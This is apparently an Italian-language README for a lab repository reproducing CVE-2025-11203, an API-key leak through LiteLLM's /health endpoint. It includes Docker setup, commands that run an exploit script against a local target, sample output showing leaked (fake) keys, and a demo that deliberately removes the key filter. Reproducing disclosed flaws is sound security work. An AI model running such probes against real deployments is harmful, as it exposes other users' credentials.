
Il codice per riprodurre personalmente la vulnerabilità corrispondente.
LiteLLM (versioni < 1.63.14) non filtra correttamente le informazioni sensibili nell'endpoint
/healthdurante l'elaborazione del parametroapi_key, consentendo agli utenti autenticati di ottenere le chiavi API memorizzate in altre configurazioni dei modelli. Il campoapi_key, che dovrebbe essere rimosso dalla funzione_clean_endpoint_data(), viene divulgato in alcuni percorsi del codice.
| Field | Value |
|---|---|
| CVE | CVE-2025-11203 |
| ZDI ID | ZDI-25-929 (ZDI-CAN-26585) |
| CVSS v3.0 | 3.5 (LOW) — AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:N/A:N |
| CWE | CWE-200 (Esposizione di informazioni sensibili a un attore non autorizzato) |
| Affected | LiteLLM < 1.63.14 |
| Fixed | v1.63.14+ (applicazione completa di _clean_endpoint_data()) |
| Published | 2025-10-29 |
| Discovered by | David Fiser & Alfredo Oliveira — Trend Micro Security Research |
| Reported to vendor | 2025-03-25 |
| Links | ZDI-25-929 • NVD • GHSA-w4vf-cc4x-mpjq |
L'endpoint /health di LiteLLM viene utilizzato per restituire lo stato di salute di tutti i modelli configurati. In condizioni normali, la funzione _clean_endpoint_data() dovrebbe rimuovere i campi sensibili (come api_key, x-api-key, ecc.) dalla risposta del controllo di salute.
Tuttavia, nelle versioni precedenti alla v1.63.14, questa funzione di pulizia non viene eseguita o viene eseguita in modo incompleto in alcuni percorsi del codice, causando la divulgazione in chiaro della chiave API della configurazione del modello nella risposta del controllo di salute.
| Endpoint | Metodo | Descrizione |
|---|---|---|
/health | GET | Restituisce lo stato di salute di tutti i modelli |
Un utente autenticato può ottenere attraverso l'interfaccia di controllo di salute:
# 1. Avviare la versione vulnerabile di LiteLLM
docker compose up -d
# 2. Installare le dipendenze
pip install -r requirements.txt
# 3. Eseguire lo script di sfruttamento
python3 exploit/exploit.py --target http://localhost:4000 --key sk-litellm-master-key
# 4. Visualizzare la risposta completa
python3 exploit/exploit.py --target http://localhost:4000 --key sk-litellm-master-key --verbose
# 5. (Opzionale) Verificare la versione corretta
docker compose --profile fixed up -d
python3 exploit/exploit.py --target http://localhost:4001 --key sk-litellm-master-key --fixed
======================================================================
[VULNERABLE] CVE-2025-11203 — Health Endpoint API Key Leak
======================================================================
Target : http://localhost:4000
API Key : sk-litellm-master-key...
Endpoint : /health
[*] Step 1: Query /health (this may take ~60s while LiteLLM probes upstream models)...
HTTP 200 — OK
[*] Step 2: Scanning for leaked credentials...
[🔥] LEAKED CREDENTIALS FOUND: 3 item(s)!
Path : unhealthy_endpoints[0].api_key
Field : api_key
Value : sk-this-is-a-leaked-openai-key...cdef123456 (len=43)
Path : unhealthy_endpoints[1].api_key
Field : api_key
Value : sk-another-leaked-key-789012xy...-789012xyz (len=31)
Path : unhealthy_endpoints[2].api_key
Field : api_key
Value : sk-ant-anthropic-leaked-key-xx...-key-xxxxx (len=33)
Models checked: 3
Credentials leaked: 3
[🔥] VULNERABILITY CONFIRMED: API keys exposed via /health!
Nota: Il primo passo richiede circa 60 secondi perché LiteLLM esegue il probe di ogni modello a monte (le chiavi false causano il timeout di ogni connessione). Le chiavi divulgate appaiono sotto
unhealthy_endpointspoiché le chiavi false non riescono a connettersi effettivamente a OpenAI/Anthropic.
La versione corretta nega la divulgazione:
======================================================================
[FIXED] CVE-2025-11203 — Health Endpoint API Key Leak
======================================================================
No API keys found in response.
[+] Expected: keys sanitized by _clean_endpoint_data()
La vulnerabilità risiede nella funzione _clean_endpoint_data() in litellm/proxy/health_check.py, che filtra i campi sensibili come api_key tramite l'elenco ILLEGAL_DISPLAY_PARAMS:
ILLEGAL_DISPLAY_PARAMS = [
"messages",
"api_key",
"prompt",
"input",
"vertex_credentials",
"aws_access_key_id",
"aws_secret_access_key",
]
def _clean_endpoint_data(endpoint_data: dict, details: Optional[bool] = True):
return (
{k: v for k, v in endpoint_data.items() if k not in ILLEGAL_DISPLAY_PARAMS}
if details is not False
else {k: v for k, v in endpoint_data.items() if k in MINIMAL_DISPLAY_PARAMS}
)
In questa demo abbiamo rimosso "api_key" da ILLEGAL_DISPLAY_PARAMS con sed, in modo che la risposta /health restituisca la configurazione originale del modello, simulando il bypass di questa funzione di pulizia in alcuni percorsi del codice.
CVE-2025-11203/
├── README.md # This file
├── docker-compose.yml # Vulnerable + fixed LiteLLM
├── litellm_config.yaml # Config with 3 models + API keys
├── requirements.txt # Python dependencies
├── litellm-vuln/
│ └── Dockerfile # pip install "litellm[proxy]==1.61.0" + patch
├── exploit/
│ └── exploit.py # Main exploit script
├── docs/
│ └── advisory.md
└── screenshots/
Corretto nella v1.63.14, assicurando che _clean_endpoint_data() venga chiamata correttamente in tutti i percorsi del codice del controllo di salute.
/healthDisclaimer: Questo contenuto è fornito esclusivamente per scopi educativi e per test di sicurezza autorizzati.
/health/liveliness | GET | Controllo di attività |
/health/readiness | GET | Controllo di prontezza |